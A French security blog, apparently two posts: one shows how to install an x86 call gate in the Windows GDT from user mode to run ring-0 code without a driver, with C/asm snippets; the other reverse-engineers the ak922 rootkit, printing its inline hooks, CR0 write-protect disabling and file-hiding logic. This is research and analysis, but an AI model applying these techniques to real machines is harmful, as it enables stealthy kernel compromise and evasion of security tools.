Pour les segments userland le RPL est à 3, normal c’est du ring3. Ensuite le champ Index nous donne les indices dans la GDT des Segments Descriptor. La structure d’un Segment Descriptor est la suivante :

Pour mieux comprendre prennons un exemple. Le segment CS userland indique l’indice 3 dans la GDT.
kd> !ProtMode.Descriptor GDT 3
------------------- Code Segment Descriptor --------------------
GDT base = 0x8003F000, Index = 0x03, Descriptor @ 0x8003f018
8003f018 ff ff 00 00 00 fb cf 00
Segment size is in 4KB pages, 32-bit default operand and data size
Segment is present, DPL = 3, Not system segment, Code segment
Segment is not conforming, Segment is readable, Segment is accessed
Target code segment base address = 0x00000000
Target code segment size = 0x000fffff
On voit bien qu’on a un Segment Descriptor de code possédant un DPL (Descriptor Privilege Level) de 3.
Concernant les segments kernel
kernelland segments
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000
0x08= 1 0 00b
0x10= 10 0 00b
0x23= 100 0 11b
0x30= 110 0 00b
Le segment selector CS kernel nous indique l’indice 1 dans la GDT.
kd> !ProtMode.Descriptor GDT 1
------------------- Code Segment Descriptor --------------------
GDT base = 0x8003F000, Index = 0x01, Descriptor @ 0x8003f008
8003f008 ff ff 00 00 00 9b cf 00
Segment size is in 4KB pages, 32-bit default operand and data size
Segment is present, DPL = 0, Not system segment, Code segment
Segment is not conforming, Segment is readable, Segment is accessed
Target code segment base address = 0x00000000
Target code segment size = 0x000fffff
Nickel, un code Segment Decriptor avec un DPL de 0.
Maintenant sachant tout cela, on va pouvoir rentrer dans le vif du sujet. Pour passer du ring3 ou ring0, l’architecture x86 ne laisse pas 36000 façons de possible. Actuellement, le moyen le plus utilisé pour réaliser cette opération est de faire appel à l’instruction SYSENTER, je vous laisser lire le post SYSENTER, stepping into da ring0. Il existe d’autres façons de passer en ring0, une méthode que je trouve assez peu connu est celle de la callgate.
En théorie la callgate, ce n’est pas trop difficile à comprendre. Il faut définir 3 choses :
- Le segment de code auquel on veut accéder.
- La fonction qui sera exécuté.
- Le niveau de privilège requit par l’appelant pour pourvoir utilisé la fonction.
Plus concrètement une callgate s’ajoute soit la GDT, soit dans la LDT, c’est une structure qui ressemble beaucoup à celle d’un segment descriptor, sauf que c’est un callgate descriptor (hewi!) :

Lors de l’appel, on effectue le parcourt suivant :

C’est bien joli, tout ca, mais, comment ajoute t’on une callgate ? Evidemment, (sinon ca serait drôle) il faut être admin sur la machine et disposé du SeDebugPrivilege. Dans son article de phrack 59, CrazyLord utilisait le \Device\PhysicalMemory pour ajouter une callgate dans la GDT kernel. Perso, je n’aime pas trop cette méthode que je trouve un peu « crade », du fait qu’on manipule des adresse physiques et non virtuelles, je préfère utiliser l’API native NtSystemDebugControl avec les ControlCode DebugSysReadVirtual et DebugSysWriteVirtual qui permet de lire et d’écrire dans le kernel depuis le user-land de manière plus simple.
Pour retrouver l’emplacement de la GDT dans le kernel, on utilise l’instruction SGDT qui nous renvoie dans l’adresse indiqué une structure KGDTENTRY de la forme :
typedef struct _KGDTENTRY {
WORD LimitLow; // size in bytes of the GDT
WORD BaseLow; // address of GDT (low part)
WORD BaseHigh; // address of GDT (high part)
} KGDTENTRY, *PKGDTENTRY;
Après il suffit de faire :
KGDTENTRY GDT;
PVOID GDTBase;
[...]
__asm
{
//sgdt
//Stores the global descriptor table register (GDTR) into the destination operand. In legacy and
//compatibility mode, the destination operand is 6 bytes; in 64-bit mode, it is 10 bytes.
lea ecx, GDT
sgdt fword ptr [ecx]
}
GDTBase=(PVOID)((GDT.BaseLow)|((ULONG)GDT.BaseHigh<<16));
On obtient ainsi la taille de la GDT et son emplacement mémoire. Après on va recopier la GDT dans un buffer userland et on va rechercher un segment descriptor dont le flag P (segment-present) est à 0, ce qui veut dire que cette entrée de la GDT est non utilisée et qu’on peut y installer notre callgate sans problème.
Il faut aussi savoir qu’il existe une GDT pour chaque core, si on veut installer une callgate on peut soit :
- Choisir une GDT précise et faire en sorte que le thread tourne sur le bon core au moment de l’appel à la callgate avec l’API SetThreadAffinityMask.
- Ne pas s’embêter et modifier toutes les GDT. Celles-ci étant normalement égales, on devrait modifier la même entrée de la GDT. Ainsi on n’aura pas à se préoccuper sur quel core s’exécutera le thread.
J’ai choisit de ne pas m’embêter et donc de modifier toutes les GDT. Maintenant, qu’on sait ou écrire dans la GDT, choisissons les valeurs de notre callgate descriptor.
En fait la callgate contient le segment selector qui référence le segment descriptor sous lequel notre code sera exécuté. Nous comme on veut tourner en ring0 on remplit se champ avec la même valeur que celle du segment CS ring0, c’est à dire 8. Sinon pour le reste c’est assez évident :
MyCallGate.offset_0_15=(WORD)((ULONG)Ring0Func&0xFFFF);
MyCallGate.selector=8; //ring0 CS descriptor
MyCallGate.param_count=0; //no parameters
MyCallGate.some_bits=0;
MyCallGate.type=12; //32-bits callgate (• The 32-bit call gate (0Ch), which is redefined as the 64-bit call gate.)
MyCallGate.app_system=0; //system segment
MyCallGate.dpl=3; //ring 3 code can call
MyCallGate.present=1;
MyCallGate.offset_16_31=(WORD)((ULONG)Ring0Func>>16);
Reste à savoir comment on va appeler la callgate. Dans le jeu d’instruction IA-32 il existe l’instruction Call, ok ca tout le monde connait, mais l’instruction call possède une feature moins connu qu’est le far call. Un far call est un call sur une procédure qui est situé dans un segment différent. Hop petit extrait des man intels.
If the selected descriptor is for a code segment, a far call to a code segment at the
same privilege level is performed. (If the selected code segment is at a different priv
ilege level and the code segment is non-conforming, a general-protection exception
is generated.) A far call to the same privilege level in protected mode is very similar
to one carried out in real-address or virtual-8086 mode. The target operand specifies
an absolute far address either directly with a pointer (ptr16:16 or ptr16:32) or indi-
rectly with a memory location (m16:16 or m16:32). The operand- size attribute
determines the size of the offset (16 or 32 bits) in the far address. The new code
segment selector and its descriptor are loaded into CS register; the offset from the
instruction is loaded into the EIP register.
A call gate (described in the next paragraph) can also be used to perform a far call to
a code segment at the same privilege level. Using this mechanism provides an extra
level of indirection and is the preferred method of making calls between 16-bit and
32-bit code segments.
When executing an inter-privilege-level far call, the code segment for the procedure
being called must be accessed through a call gate. The segment selector specified by
the target operand identifies the call gate. The target operand can specify the call
gate segment selector either directly with a pointer (ptr16:16 or ptr16:32) or indi-
rectly with a memory location (m16:16 or m16:32). The processor obtains the
segment selector for the new code segment and the new instruction pointer (offset)
from the call gate descriptor. (The offset from the target operand is ignored when a
call gate is used.)
Ce qu’il faut retenir c’est qu’un far call peut se définir de la façon suivante :
typedef struct _FARCALL {
DWORD Offset;
WORD SegSelector;
} FARCALL, *PFARCALL;
Que lors d’un far call vers une callgate seule le champ SegSelector est prit en compte, normal le pointeur sur la fonction à exécuter est définit dans le callgate descriptor. Il suffit donc de faire :
FARCALL Farcall={0};
[...]
//install un new seg desc dans les GDT de chaque core et renvoie le segment permettant d'y acceder
Farcall.SegSelector=InstallCallGate();
__asm
{
lea ecx, Farcall
call fword ptr [ecx]
}
Pour appeler notre jolie callgate, wOOooTz !
Pour l’exemple j’ai prit la fonction Ring0Func suivante :
void __declspec(naked) Ring0Func() {
// ring0 prolog
__asm
{
pushad // push eax,ecx,edx,ebx,ebp,esp,esi,edi onto the stack
pushfd // decrement stack pointer by 4 and push EFLAGS onto the stack
cli // disable interrupts
}
// execute your ring0 code here ...
__asm{int 3} // HEQDSHOT!
// ring0 epilog
__asm
{
sti // restore interrupts
popfd // restore registers pushed by pushfd
popad // restore registers pushed by pushad
retf // you may retf if you pass arguments
}
}
Je lance mon programme et là !
Break instruction exception - code 80000003 (first chance)
0040081a cc int 3
kd> r
eax=00000120 ebx=7ffd5000 ecx=0012ff44 edx=00000001 esi=002d0031 edi=00370031
eip=0040081a esp=f6ec7dac ebp=0012ff4c iopl=0 nv up di pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000046
0040081a cc int 3
HEQSHOTZ ! Ma callgate à bien été appelé avec un CS de 8 (ring0) wOOotz!
Dernière chose aussi, les autres segments ont aussi été mis à jour pour être des segments kernel. Pour le segment de stack (SS) c’est indiqué par les man intels :
Stack Switching. The processor performs an automatic stack switch when a control transfer causes a change in privilege levels to occur. Switching stacks isolates more-privileged software stacks from less-privileged software stacks and provides a mechanism for saving the return pointer back to the program that initiated the call.
Donc je n’arrive pas à comprendre pour quoi les autres segments, DS, ES, FS et GS sont modifiés, si quelqu’un a une idée qu’il laisse un comment.
Au final, les callgate, c’est bien cool si on veut balancer du code ring0 sans charger de driver. Reste que je n’ai pas tout exposé dans ce post, je vous invite à aller lire les man intels sur le sujet pour mieux comprendre le fonctionnement, en tout cas ce post est une bonne intro au sujet. J’espère que ca vous à plus.
Hop le petit code de démonstration :
http://ivanlef0u.fr/repo/Callgate.rar
Sinon au passage petite pub pour la dernière rlz de mindkind (no comments!) :
http://lastcall.mindkind.org/mindkind1011.zip
Dédicace à une tapz :]
<tapz> je te met au defis de place dans ton post le mot « langouste »
refs :
Call gate
http://en.wikipedia.org/wiki/Call_gate
Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3A System Programming Guide
http://www.intel.com/design/processor/manuals/253668.pdf
4.8.3 Call Gates
AMD64 Architecture Programmer’s Manual Volume 2 System Programming
http://www.amd.com/us-en/assets/content_type/white_papers_and_tech_docs/24593.pdf
4.11.2 Control Transfers Through Call Gates
AMD64 Architecture Programmer’s Manual Volume 3 General-Purpose and System Instructions.pdf
http://www.amd.com/us-en/assets/content_type/white_papers_and_tech_docs/24594.pdf
Call (Far)
From Russia with Rootkit
http://www.f-secure.com/weblog/archives/00000838.html
Segmentation Fault
http://www.ivanlef0u.tuxfamily.org/?p=46
GDT / LDT
http://uninformed.org/index.cgi?v=8&a=2&p=9
Adding New Software Interrupts
http://www.windowsitlibrary.com/Content/356/10/1.html
novembre 2nd, 2007
C’est encore un produit chinois qui attire mon attention, décidément les gars ont du talent dans ce pays. En fait je suis tombé de dessus en lisant le forum de rootkit.com, il s’agit d’un POC fournit sous forme de binaire .sys, permettant de bypasser une grosse partie (tous?) des anti-rk au niveau du system de fichiers. Comme cette chose m’intéressait au plus au point, j’ai décidé de la reversé. Ca fait bizarre de RE sans les symbols mais on s’y fait à force :p Voici ce que j’ai découvert au sein du monstre.
Le binaire porte le nom de ak922.sys, ne possède aucune description, n’est pas packé, a été codé en C et semble avoir été compilé avec le compilo du DDK. Après avoir été lancé (dans une VM bien sur !), on remarque que binaire n’affiche aucun message avec la routine DbgPrint et qu’il arrive effectivement à cacher le fichier ak922.sys. Si on regarde la table des IRP_MJ on ne trouve rien de spécial :
kd> !drvobj driverak922 3
Driver object (80d08868) is for:
DriverAK922
Driver Extension List: (id , addr)
Device Object list:
80d092a8
DriverEntry: fd24505c AK922
DriverStartIo: 00000000
DriverUnload: fd244f76 AK922
Dispatch routines:
[00] IRP_MJ_CREATE fd244e20 AK922+0xe20 <-CompleteNormalIRP
[01] IRP_MJ_CREATE_NAMED_PIPE fd244e20 AK922+0xe20 <-CompleteNormalIRP
[02] IRP_MJ_CLOSE fd244e20 AK922+0xe20 <-CompleteNormalIRP
[03] IRP_MJ_READ fd244e20 AK922+0xe20 ...
[04] IRP_MJ_WRITE fd244e20 AK922+0xe20
[05] IRP_MJ_QUERY_INFORMATION fd244e20 AK922+0xe20
[06] IRP_MJ_SET_INFORMATION fd244e20 AK922+0xe20
[07] IRP_MJ_QUERY_EA fd244e20 AK922+0xe20
[08] IRP_MJ_SET_EA fd244e20 AK922+0xe20
[09] IRP_MJ_FLUSH_BUFFERS fd244e20 AK922+0xe20
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION fd244e20 AK922+0xe20
[0b] IRP_MJ_SET_VOLUME_INFORMATION fd244e20 AK922+0xe20
[0c] IRP_MJ_DIRECTORY_CONTROL fd244e20 AK922+0xe20
[0d] IRP_MJ_FILE_SYSTEM_CONTROL fd244e20 AK922+0xe20
[0e] IRP_MJ_DEVICE_CONTROL fd244e20 AK922+0xe20
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL fd244e20 AK922+0xe20
[10] IRP_MJ_SHUTDOWN fd244e86 AK922+0xe86 <-ShutdownRoutine !
[11] IRP_MJ_LOCK_CONTROL fd244e20 AK922+0xe20
[12] IRP_MJ_CLEANUP fd244e20 AK922+0xe20
[13] IRP_MJ_CREATE_MAILSLOT fd244e20 AK922+0xe20
[14] IRP_MJ_QUERY_SECURITY fd244e20 AK922+0xe20
[15] IRP_MJ_SET_SECURITY fd244e20 AK922+0xe20
[16] IRP_MJ_POWER fd244e20 AK922+0xe20
[17] IRP_MJ_SYSTEM_CONTROL fd244e20 AK922+0xe20
[18] IRP_MJ_DEVICE_CHANGE fd244e20 AK922+0xe20
[19] IRP_MJ_QUERY_QUOTA fd244e20 AK922+0xe20
[1a] IRP_MJ_SET_QUOTA fd244e20 AK922+0xe20
[1b] IRP_MJ_PNP 804fa88e nt!IopInvalidDeviceRequest
Le driver possède un device associé :
kd> !devobj 80d092a8
Device object (80d092a8) is for:
AzyKit7f65Pd DriverAK922 DriverObject 80d08868
Current Irp 00000000 RefCount 0 Type 00000022 Flags 00000048
Dacl e129a2ec DevExt 00000000 DevObjExt 80d09360
ExtensionFlags (0000000000)
Device queue is not busy.
On note aussi que le nom du device, ici AzyKit7f65Pd, change à chaque chargement du driver. Enfin l’unloading du driver se passe sans problème et la VM reste stable avec la présence du rootkit.
Il est temps de sortir notre ami IDA, hop hop hop !
La fonction d’entré porte le nom de « start » (w0w). Celle ci va d’abord manipulé la string « \Device\AzyKit000000″ en pseudo-randomisant les ’0′ avec les API KeQuerySystemTime/KeQueryInterruptTime et le nombre de Tick system trouvé dans la variable KeTickCount exportée par ntoskrnl. Je n’ai pas vraiment cherché à comprendre en détail comment le calcul des caractères était effectué, ce n’est pas ca le plus intéressant.
Ensuite start récupère les adresses des fonctions IofCompleteRequest et KeRaiseIrqlToDpcLevel avec MmGetSystemRoutineAddres. Puis vérifie qu’elle s’exécute bien dans le contexte du process « system » et note son EPROCESS.
mov esi, ds:RtlInitUnicodeString
lea eax, [ebp+SourceString]
push eax ; SourceString
lea eax, [ebp+DeviceName]
push eax ; DestinationString
call esi ; RtlInitUnicodeString
push offset aIofcompletereq ; "IofCompleteRequest"
lea eax, [ebp+SystemRoutineName]
push eax ; DestinationString
call esi ; RtlInitUnicodeString
mov edi, ds:MmGetSystemRoutineAddress
lea eax, [ebp+SystemRoutineName]
push eax ; SystemRoutineName
call edi ; MmGetSystemRoutineAddress
mov pIofCompleteRequest, eax
push offset aKeraiseirqltod ; "KeRaiseIrqlToDpcLevel"
lea eax, [ebp+SystemRoutineName]
push eax ; DestinationString
call esi ; RtlInitUnicodeString
lea eax, [ebp+SystemRoutineName]
push eax ; SystemRoutineName
call edi ; MmGetSystemRoutineAddress
mov pKeRaiseIrqlToDpcLevel, eax
call ds:IoGetCurrentProcess
push eax
call IsSystemProcess?
test eax, eax
mov SystemEPROCESS, eax
Après, start fait appel à une fonction pour retrouver les DEVICE_OBJECT associé au driver \Driver\Disk puis les stockent dans un tableau.
push 8
pop ecx
xor eax, eax
mov edi, offset Tab_DiskDevices
rep stosd
call GetDiskDriverDevices
Par la suite, on trouve la creation du device, l’initialisation de IRP_MJ_SHUTDOWN et de DriverUnload. Plus loin, start va delete la key \Registry\Machine\SYSTEM\CurrentControlSet\Services\AzyKit\Enum avec ZwDeleteKey (si elle existe !) et ouvrir un handle sur la key \Registry\Machine\SYSTEM\CurrentControlSet\Services\AzyKit pour aussi la delete afin que l’utilisateur ne remarque rien dans le registre lorsque le rootik est loadé.
Si on regarde de plus près la routine qui gère les IRP_MJ_SHUTDOWN, on peut voir que celle-ci à pour rôle de crée la clé \Registry\Machine\SYSTEM\CurrentControlSet\Services\AzyKit pour que le binaire soit chargé au boot. Cette routine est appelée au moment de l’arrêt du système et permet donc au rk de survivre au boot. On observe aussi que se dernier considère qu’il se trouve dans \system32\drivers sous le nom de ak922.sys.
start crée un buffer dans la NonPagedPool avec la fonction ExAllocatePoolWithTag et recopie dedans une fonction que j’ai appelé HookedIofCompleteRequest :
HookedIofCompleteRequest proc near
pusha ; VOID
; FASTCALL
; IopfCompleteRequest(
; IN PIRP Irp,
; IN CCHAR PriorityBoost
; )
pushf
cli
push ecx ; Irp
call HandleIRPCompletion
sti
popf
popa
jmp RealIofCompleteRequest
HookedIofCompleteRequest endp
Le call sur la fonction HandleIRPCompletion est recalculé plus loin par ces lignes :
mov eax, HookedIofCompleteRequestPool
add eax, 4
lea ebx, HandleIRPCompletion
sub ebx, eax
sub ebx, 5
mov byte ptr [eax], 0E8h ; recalcul un jmp du Pool
; vers HandleIRPCompletion
mov [eax+1], ebx
Juste après start fait appel à la fonction que j’ai appelé HookKeRaiseIrqlToDpcLevel :
HookKeRaiseIrqlToDpcLevel proc near
push ebx
push esi
push edi
cli
mov eax, cr0
and eax, 0FFFEFFFFh
mov cr0, eax
pusha
pushf
mov esi, pKeRaiseIrqlToDpcLevel
lea edi, SavedKeRaiseIrqlToDpcLevel
mov ecx, 7
rep movsb
mov byte68, 68h ; 68=push 0xXXXXXXXX
lea edi, HookedKeRaiseIrqlToDpcLevel
mov pHookedKeRaiseIrqlToDpcLevel, edi
mov byteC3, 0C3h ; ret
mov byte90, 90h
lea esi, byte68
mov edi, pKeRaiseIrqlToDpcLevel
mov ecx, 7
rep movsb
popf
popa
mov eax, pKeRaiseIrqlToDpcLevel
add eax, 7
mov RealKeRaiseIrqlToDpcLevel, eax
mov eax, cr0
or eax, 10000h
mov cr0, eax
sti
pop edi
pop esi
pop ebx
retn
HookKeRaiseIrqlToDpcLevel endp
Cette fonction sert à hooker KeRaiseIrqlToDpcLevel de hal.dll avec un push /ret. La fonction KeRaiseIrqlToDpcLevel à pour rôle, comme son nom l’indique, d’élever l’IRQL à DISPATCH_LEVEL, elle est donc appelé ultra régulièrement (plusieurs fois par seconde au moins !).
avant
kd> u hal!KeRaiseIrqlToDpcLevel
hal!KeRaiseIrqlToDpcLevel:
806ee03c 33c0 xor eax,eax
806ee03e a024f0dfff mov al,byte ptr ds:[FFDFF024h]
806ee043 c60524f0dfff02 mov byte ptr ds:[0FFDFF024h],2
806ee04a c3 ret
806ee04b 90 nop
après
kd> u hal!KeRaiseIrqlToDpcLevel
hal!KeRaiseIrqlToDpcLevel:
806ee03c 68904d24fd push offset AK922+0xd90 (fd244d90)
806ee041 c3 ret
kd> u fd244d90
AK922+0xd90:
fd244d90 60 pushad
fd244d91 9c pushfd
fd244d92 e871ffffff call AK922+0xd08 (fd244d08) ; HookIofCompleteRequest
fd244d97 9d popfd
fd244d98 61 popad
fd244d99 33c0 xor eax,eax
fd244d9b 3ea024f0dfff mov al,byte ptr ds:[FFDFF024h] ;IRQL
fd244da1 ff25505724fd jmp dword ptr [AK922+0x1750 (fd245750)]
kd> u poi(fd245750)
hal!KeRaiseIrqlToDpcLevel+0x7:
806ee043 c60524f0dfff02 mov byte ptr ds:[0FFDFF024h],2 ;IRQl=DISPATCH_LEVEL
806ee04a c3 ret
806ee04b 90 nop
Le hook de KeRaiseIrqlToDpcLevel sert juste à faire appel à la fonction qui va hooker IofCompleteRequest. HookIofCompleteRequest fonction de 2 manières, la première fois quelle est appelé elle va sauvegardé les 6 premières instructions de IofCompleteRequest (sizeof(push XXXXXXXX) + sizeof(ret)) puis copié dans un buffer, que j’ai nommé InlineIofCompleteRequest, les instruction qui vont servir pour le hook, enfin elle remplace le code original de IofCompleteRequest par un push/ret allant sur le code de la NonPagePool crée précédemment. Pour finir HookIofCompleteRequest va positionner un booléen à 1 pour dire que le hook est installé afin que lors de son prochain appel, la fonction ne recopie que les instructions sauvegardées dans le buffer InlineIofCompleteRequest.
Ainsi chaque appel à KeRaiseIrqlToDpcLevel va rehooker IofCompleteRequest, déjà que le hook est relativement difficil à détecter, il faut en plus savoir que celui-ci est régulièrement réinstaller avant de pouvoir le désactiver. Avant q’uun anti-rk ne face ca, j’ai le tps de bouffer mes chocapicz moi.
Bref voilà ce que donne le hook sur IofCompleteRequest.
avant
kd> u nt!IofCompleteRequest
nt!IofCompleteRequest:
804e3bf6 ff25042b5580 jmp dword ptr [nt!pIofCompleteRequest (80552b04)]
804e3bfc 90 nop
804e3bfd 90 nop
804e3bfe 90 nop
804e3bff 90 nop
804e3c00 90 nop
après
kd> uf nt!IofCompleteRequest
nt!IofCompleteRequest:
804e3bf6 682035cb80 push 80CB3520h
804e3bfb c3 ret
kd> u 80CB3520h ;Buffer de la NonPagedPool
80cb3520 60 pushad
80cb3521 9c pushfd
80cb3522 fa cli
80cb3523 51 push ecx
80cb3524 e88f13597c call AK922+0x8b8 (fd2448b8) ;HandleIRPCompletion
80cb3529 fb sti
80cb352a 9d popfd
80cb352b 61 popad
80cb352c ff2544b71ffd jmp dword ptr [ak922+0x1744 (fd1fb744)] ; <=> jmp dword ptr [nt!IopfCompleteRequest]
kd> ln poi(fd23d744)
(804e3c01) nt!IopfCompleteRequest | (804e3d4a) nt!KeRemoveByKeyDeviceQueue
Exact matches:
nt!IopfCompleteRequest =
kd> u nt!IopfCompleteRequest
nt!IopfCompleteRequest:
804e3c01 8bff mov edi,edi
804e3c03 55 push ebp
804e3c04 8bec mov ebp,esp
804e3c06 83ec10 sub esp,10h
804e3c09 53 push ebx
804e3c0a 56 push esi
804e3c0b 8bf1 mov esi,ecx
804e3c0d 8a4e23 mov cl,byte ptr [esi+23h]
[...]
Alors, pourquoi ce rookit hook IofCompleteRequest ? Il faut savoir que cette fonction, appelé en convention fastcall, d’ou le ‘f’, sert a dire qu’on à finit de faire mumuse avec l’IRP et qu’on peut le renvoyé à l’I/O manager. C’est grâce à cela que le rk peut hooker le système de fichier, en effet, lors d’un appel à NtQueryDirectoryFile un IRP est forgé puis envoyé à la device stack se situant au dessus du driver de système de fichier Ntfs. Si la MajorFunction de l’IRP est IRP_MJ_DIRECTORY_CONTROL alors le Ntfs.sys appel la fonction NtfsFsdDirectoryControl qui se charge de retrouver les fichiers du dossier demandé sur le disque. Comme toute bonne fonction de driver, NtfsFsdDirectoryControl va notifier avec IofCompleteRequest quand elle aura finit de manipuler l’IRP. Ainsi en hookant cette fonction, ak922 peut voir ce que contient les paramètres de l’IRP avant que celui-ci ne soit renvoyé à l’appelant.
Justement, j’ai appelé cette fonction HandleIRPCompletion. Une bonne grosse fonction assez compliquée a analyser. La première que va faire HandleIRPCompletion est de vérifier la MajorFonction de l’IRP, si celle-ci est de type IRP_MJ_DIRECTORY_CONTROL et que la MinorFunction est IRP_MN_QUERY_DIRECTORY alors HandleIRPCompletion regarde l’InformationClass demandé, en général le système demande une InformationClass de type FileBothDirectoryInformation qui renvoie une liste de structure FILE_BOTH_DIR_INFORMATION contenant la liste des fichiers.
typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
Ici le rootkit ne vérifie que les InformationClass FileBothDirectoryInformation et FileDirectoryInformation (noobed!). Puis il scan la liste des structure pour y unlinker celle qui contient le fichier ak922.sys. C’est un peu dommage car il faudrait qu’il gère aussi FileFullDirectoryInformation et FileNamesInformation, je ne sais pas si l’auteur l’a fait exprès mais en utlisant ces 2 dernières InformationClass il est possible de retrouver facilement le fichier. Je me suis codé vite fait un detecteur que je fournis dans le .rar.
Si la MajorFunction de l’IRP est de type IRP_MJ_READ et que celui-ci est envoyé sur l’un des devices du driver disk.sys alors là on prend cher.
kd> !drvobj driverdisk 3
Driver object (84b189e8) is for:
DriverDisk
Driver Extension List: (id , addr)
(f75033be 84b178e0)
Device Object list:
8479ac68 847d2ab8 84abbc68 84abcab8
DriverEntry: f74f38ab disk!GsDriverEntry
DriverStartIo: 00000000
DriverUnload: f72fa5c0 sptd
Dispatch routines:
[00] IRP_MJ_CREATE f7502c30 CLASSPNP!ClassCreateClose
[01] IRP_MJ_CREATE_NAMED_PIPE 804f4456 nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE f7502c30 CLASSPNP!ClassCreateClose
[03] IRP_MJ_READ f74fcd9b CLASSPNP!ClassReadWrite
[04] IRP_MJ_WRITE f74fcd9b CLASSPNP!ClassReadWrite
[05] IRP_MJ_QUERY_INFORMATION 804f4456 nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION 804f4456 nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA 804f4456 nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA 804f4456 nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS f74fd366 CLASSPNP!ClassShutdownFlush
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION 804f4456 nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION 804f4456 nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL 804f4456 nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL 804f4456 nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL f74fd44d CLASSPNP!ClassDeviceControlDispatch
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL f7500fc3 CLASSPNP!ClassInternalIoControl
[10] IRP_MJ_SHUTDOWN f74fd366 CLASSPNP!ClassShutdownFlush
[11] IRP_MJ_LOCK_CONTROL 804f4456 nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP 804f4456 nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT 804f4456 nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY 804f4456 nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY 804f4456 nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER f74feef3 CLASSPNP!ClassDispatchPower
[17] IRP_MJ_SYSTEM_CONTROL f7503a24 CLASSPNP!ClassSystemControl
[18] IRP_MJ_DEVICE_CHANGE 804f4456 nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA 804f4456 nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA 804f4456 nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP f7502d15 CLASSPNP!ClassDispatchPnp
kd> !devobj 84abcab8
Device object (84abcab8) is for:
DR0 DriverDisk DriverObject 84b189e8
Current Irp 00000000 RefCount 0 Type 00000007 Flags 00000050
Vpb 84ba5060 Dacl e1470394 DevExt 84abcb70 DevObjExt 84abcfd0 Dope 84afbba8
ExtensionFlags (0000000000)
AttachedDevice (Upper) 84abd920 DriverPartMgr
AttachedTo (Lower) 84b1cd98 Driveratapi
Device queue is not busy.
kd> !devobj 847d2ab8
Device object (847d2ab8) is for:
DR2 DriverDisk DriverObject 84b189e8
Current Irp 00000000 RefCount 0 Type 00000007 Flags 00002050
Vpb 847c48a8 Dacl e1470394 DevExt 847d2b70 DevObjExt 847d2fd0 Dope 847f7888
ExtensionFlags (0000000000)
AttachedDevice (Upper) 84738e08 DriverPartMgr
AttachedTo (Lower) 847d3990 Driverusbstor
Device queue is not busy.
Ak922 note tout les devices du driver disk commencant par DR, dans l’exemple au dessus j’ai DR0 et DR2 sur ma b0x. Le rootkit vérifie donc si l’IRP est envoyé sur un de ces devices, si oui il check que l’IRQL est bien à DISPATCH_LEVEL et queue un WorkItem avec ExQueueWorkItem. Cela permet au code de WorkItemRoutine d’être exécuté dans un system thread lorsque l’IRQL sera redescendu à PASSIVE_LEVEL. La WorkItemRoutine utilise une fonction que j’ai appelé OwnNtfs pour modifier le contenu du buffer demandé. Comme on tape direct sur le driver disk.sys, le rootkit controle si dans les structures NTFS du buffer, il n’existe pas une string « ak922″.
Après un BP, j’ai pu voir que la fonction ExQueueWorkItem était appelée dans le contexte suivant :
kd> g
Breakpoint 1 hit
ak922+0xc68:
fd1fec68 ff15c8f31ffd call dword ptr [ak922+0x13c8 (fd1ff3c8)] ; ExQueueWorkItem
kd> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
80550478 80d8ea59 ff9d4008 00000207 80e440f8 ak922+0xc68
805504ac fcceaf54 80e44040 ff9d4008 00000001 0x80d8ea59 ; IofCompleteRequest
805504d4 804e3d38 00000000 80dd9bb8 80dd9d50 CLASSPNP!TransferPktComplete+0x180 (FPO: [Non-Fpo])
80550504 fcbf365e 80e404e8 80e3f0f8 00000000 nt!IopfCompleteRequest+0xa2 (FPO: [Non-Fpo])
80550530 fcbf3b94 80dd9bb8 80e404e8 805505ab atapi!IdeProcessCompletedRequest+0x664 (FPO: [Non-Fpo])
805505ac 804dbbd4 80e3f0b4 80e3f040 00000000 atapi!IdePortCompletionDpc+0x204 (FPO: [Non-Fpo])
805505d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46 (FPO: [0,0,0])
805505d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26 (FPO: [0,0,0])
Il existe aussi dans HandleIRPCompletion un code qui vérifie que l’IOCTL de l’IRP dans le code ou la MajorFunction est de type IRP_MJ_DEVICE_CONTROL. L’IOCTL vérifié est 0x4D014 et correspond à IOCTL_SCSI_PASS_THROUGH_DIRECT qui est utilisé par la fonction SpSendPassThrough du driver scsiport.sys (non loadé sur ma b0x)
